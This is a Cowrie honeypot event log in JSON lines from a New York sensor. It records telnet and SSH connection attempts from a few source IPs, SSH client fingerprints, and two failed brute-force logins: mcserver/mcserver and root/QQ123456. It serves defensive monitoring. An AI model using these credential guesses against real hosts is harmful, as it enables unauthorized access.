{"eventid":"cowrie.session.closed","duration":31.684035539627075,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:05.722950Z","src_ip":"185.111.235.80","session":"775f37f6192d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.111024856567383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:05.987245Z","src_ip":"185.111.235.80","session":"b2e62046900b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.619826793670654,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:06.133179Z","src_ip":"117.120.7.112","session":"d2cd01fd375d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40098,"dst_ip":"10.17.0.5","dst_port":23,"session":"652db25c9022","protocol":"telnet","message":"New connection: 185.111.235.80:40098 (10.17.0.5:23) [session: 652db25c9022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:06.267189Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":34388,"dst_ip":"159.203.135.109","dst_port":23,"session":"79ff2022b769","protocol":"telnet","message":"New connection: 117.120.7.112:34388 (159.203.135.109:23) [session: 79ff2022b769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:06.891900Z"}
{"eventid":"cowrie.session.closed","duration":30.814340353012085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:07.173079Z","src_ip":"117.120.7.112","session":"7661218115c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.427483081817627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:07.180195Z","src_ip":"117.120.7.112","session":"6a755f2c4de3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40376,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c85f00d212e","protocol":"telnet","message":"New connection: 185.111.235.80:40376 (10.17.0.5:23) [session: 3c85f00d212e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:07.307320Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":35480,"dst_ip":"159.203.135.109","dst_port":23,"session":"4099e85a6b16","protocol":"telnet","message":"New connection: 117.120.7.112:35480 (159.203.135.109:23) [session: 4099e85a6b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:07.456998Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":41870,"dst_ip":"10.17.0.5","dst_port":23,"session":"837582e47659","protocol":"telnet","message":"New connection: 185.111.235.80:41870 (10.17.0.5:23) [session: 837582e47659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:07.597227Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":34526,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca94b6da359b","protocol":"telnet","message":"New connection: 117.120.7.112:34526 (159.203.135.109:23) [session: ca94b6da359b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:07.979368Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43932,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aa36b1a6f42","protocol":"telnet","message":"New connection: 185.111.235.80:43932 (10.17.0.5:23) [session: 5aa36b1a6f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:08.073200Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45228,"dst_ip":"10.17.0.5","dst_port":23,"session":"454dfa8b27e3","protocol":"telnet","message":"New connection: 185.111.235.80:45228 (10.17.0.5:23) [session: 454dfa8b27e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:08.267911Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41850,"dst_ip":"10.17.0.5","dst_port":22,"session":"414c081f08d1","protocol":"ssh","message":"New connection: 176.65.139.103:41850 (10.17.0.5:22) [session: 414c081f08d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:09.098032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:09.102853Z","src_ip":"176.65.139.103","session":"414c081f08d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:09.201193Z","src_ip":"176.65.139.103","session":"414c081f08d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:09.527636Z","src_ip":"176.65.139.103","session":"414c081f08d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":42868,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0a21c4b3c6c","protocol":"telnet","message":"New connection: 185.111.235.80:42868 (10.17.0.5:23) [session: d0a21c4b3c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:09.792376Z"}
{"eventid":"cowrie.session.closed","duration":31.807658910751343,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:09.864988Z","src_ip":"185.111.235.80","session":"2151b21bc746","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74245548248291,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:09.890357Z","src_ip":"185.111.235.80","session":"899e51937525","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5659499168396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:09.906381Z","src_ip":"185.111.235.80","session":"c7c62a9ba571","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24027943611145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:10.204305Z","src_ip":"117.120.7.112","session":"fe0bd82c79b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.715730667114258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:10.279667Z","src_ip":"117.120.7.112","session":"0f429a389c41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:10.622739Z","src_ip":"176.65.139.103","session":"414c081f08d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":42970,"dst_ip":"159.203.135.109","dst_port":23,"session":"be4c01f4b361","protocol":"telnet","message":"New connection: 117.120.7.112:42970 (159.203.135.109:23) [session: be4c01f4b361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:10.728411Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49074,"dst_ip":"10.17.0.5","dst_port":23,"session":"77d5cc51d7b3","protocol":"telnet","message":"New connection: 185.111.235.80:49074 (10.17.0.5:23) [session: 77d5cc51d7b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:11.083161Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":44290,"dst_ip":"159.203.135.109","dst_port":23,"session":"66712c5b3e9b","protocol":"telnet","message":"New connection: 117.120.7.112:44290 (159.203.135.109:23) [session: 66712c5b3e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:11.211322Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":36748,"dst_ip":"10.17.0.5","dst_port":23,"session":"f036ee8ca103","protocol":"telnet","message":"New connection: 185.111.235.80:36748 (10.17.0.5:23) [session: f036ee8ca103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:11.226548Z"}
{"eventid":"cowrie.session.closed","duration":31.146069765090942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:11.576112Z","src_ip":"117.120.7.112","session":"34c3b8363577","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":38724,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7639a28113e","protocol":"telnet","message":"New connection: 117.120.7.112:38724 (159.203.135.109:23) [session: b7639a28113e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:11.798573Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39672,"dst_ip":"10.17.0.5","dst_port":23,"session":"64903880de84","protocol":"telnet","message":"New connection: 185.111.235.80:39672 (10.17.0.5:23) [session: 64903880de84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:11.802300Z"}
{"eventid":"cowrie.session.closed","duration":31.86325740814209,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:11.811846Z","src_ip":"185.111.235.80","session":"64b712d0dbfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.177207469940186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:11.837468Z","src_ip":"117.120.7.112","session":"cf67a3edc5d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.574888944625854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:11.989808Z","src_ip":"185.111.235.80","session":"7e7330cc2188","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":46528,"dst_ip":"159.203.135.109","dst_port":23,"session":"db4156da3ff7","protocol":"telnet","message":"New connection: 117.120.7.112:46528 (159.203.135.109:23) [session: db4156da3ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:12.059018Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":41074,"dst_ip":"10.17.0.5","dst_port":23,"session":"29e1cc04096c","protocol":"telnet","message":"New connection: 185.111.235.80:41074 (10.17.0.5:23) [session: 29e1cc04096c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:12.093220Z"}
{"eventid":"cowrie.session.closed","duration":31.147366285324097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:12.098056Z","src_ip":"185.111.235.80","session":"f838dafd1503","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.138919353485107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:12.123074Z","src_ip":"117.120.7.112","session":"f4c23f003f0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09843111038208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:12.127711Z","src_ip":"117.120.7.112","session":"b145c21cc6f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.462093591690063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:12.140089Z","src_ip":"117.120.7.112","session":"e517ee31fc09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.747562646865845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:12.456423Z","src_ip":"117.120.7.112","session":"aa63779a317d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":47302,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1607b527425","protocol":"telnet","message":"New connection: 117.120.7.112:47302 (159.203.135.109:23) [session: c1607b527425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:12.486814Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54324,"dst_ip":"10.17.0.5","dst_port":23,"session":"2caa5ee8089c","protocol":"telnet","message":"New connection: 185.111.235.80:54324 (10.17.0.5:23) [session: 2caa5ee8089c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:13.167497Z"}
{"eventid":"cowrie.session.closed","duration":30.641688585281372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:13.377735Z","src_ip":"117.120.7.112","session":"f94818eb03f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":43614,"dst_ip":"159.203.135.109","dst_port":23,"session":"f934618b6a19","protocol":"telnet","message":"New connection: 117.120.7.112:43614 (159.203.135.109:23) [session: f934618b6a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:13.900308Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":50906,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4a2439d8c8f","protocol":"telnet","message":"New connection: 117.120.7.112:50906 (159.203.135.109:23) [session: b4a2439d8c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:13.960885Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":50490,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c78fe714fa2","protocol":"telnet","message":"New connection: 185.111.235.80:50490 (10.17.0.5:23) [session: 5c78fe714fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:14.076241Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":51296,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd54c24aeac9","protocol":"telnet","message":"New connection: 117.120.7.112:51296 (159.203.135.109:23) [session: bd54c24aeac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:14.085086Z"}
{"eventid":"cowrie.session.closed","duration":31.22176480293274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:14.110377Z","src_ip":"117.120.7.112","session":"f4b3c938eb18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":51598,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5ab50d0419d","protocol":"telnet","message":"New connection: 117.120.7.112:51598 (159.203.135.109:23) [session: e5ab50d0419d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:14.261001Z"}
{"eventid":"cowrie.session.closed","duration":30.964786052703857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:14.712416Z","src_ip":"185.111.235.80","session":"f2aa2f9cb7c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54740,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a40c81b761c","protocol":"telnet","message":"New connection: 185.111.235.80:54740 (10.17.0.5:23) [session: 0a40c81b761c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:15.033141Z"}
{"eventid":"cowrie.session.closed","duration":30.970234632492065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:15.037914Z","src_ip":"185.111.235.80","session":"7c8b232afe77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54882,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f47e54f5771","protocol":"telnet","message":"New connection: 185.111.235.80:54882 (10.17.0.5:23) [session: 7f47e54f5771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:15.061615Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":53446,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cf11eae593a","protocol":"telnet","message":"New connection: 117.120.7.112:53446 (159.203.135.109:23) [session: 0cf11eae593a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:15.068517Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":53694,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d5a7c44881c","protocol":"telnet","message":"New connection: 117.120.7.112:53694 (159.203.135.109:23) [session: 4d5a7c44881c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:15.204245Z"}
{"eventid":"cowrie.session.closed","duration":30.882786750793457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:15.529551Z","src_ip":"117.120.7.112","session":"21d505362663","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":55026,"dst_ip":"159.203.135.109","dst_port":23,"session":"9910b20addbe","protocol":"telnet","message":"New connection: 117.120.7.112:55026 (159.203.135.109:23) [session: 9910b20addbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:15.783167Z"}
{"eventid":"cowrie.session.closed","duration":30.646018743515015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:16.188280Z","src_ip":"117.120.7.112","session":"bcc4f7a535b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.184385538101196,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:16.210028Z","src_ip":"117.120.7.112","session":"77ae9cac20f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.890501499176025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:16.215118Z","src_ip":"117.120.7.112","session":"c08ed027aa87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.190367698669434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:16.301005Z","src_ip":"117.120.7.112","session":"f5bf13c24483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":47230,"dst_ip":"10.17.0.5","dst_port":23,"session":"a88db779507b","protocol":"telnet","message":"New connection: 185.111.235.80:47230 (10.17.0.5:23) [session: a88db779507b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:16.372815Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":51236,"dst_ip":"10.17.0.5","dst_port":22,"session":"864f786a0b95","protocol":"ssh","message":"New connection: 176.65.139.103:51236 (10.17.0.5:22) [session: 864f786a0b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:16.377054Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":56174,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bb5ad48c875","protocol":"telnet","message":"New connection: 117.120.7.112:56174 (159.203.135.109:23) [session: 1bb5ad48c875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:16.398871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:16.403510Z","src_ip":"176.65.139.103","session":"864f786a0b95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:16.626700Z","src_ip":"176.65.139.103","session":"864f786a0b95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":56664,"dst_ip":"159.203.135.109","dst_port":23,"session":"f13f7b5bf634","protocol":"telnet","message":"New connection: 117.120.7.112:56664 (159.203.135.109:23) [session: f13f7b5bf634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:16.633318Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":56912,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ec871f9d18e","protocol":"telnet","message":"New connection: 117.120.7.112:56912 (159.203.135.109:23) [session: 6ec871f9d18e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:16.710912Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":56944,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c68c5acce4d","protocol":"telnet","message":"New connection: 117.120.7.112:56944 (159.203.135.109:23) [session: 7c68c5acce4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:16.736793Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQ123456","message":"login attempt [root/QQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:16.939018Z","src_ip":"176.65.139.103","session":"864f786a0b95","protocol":"ssh"}
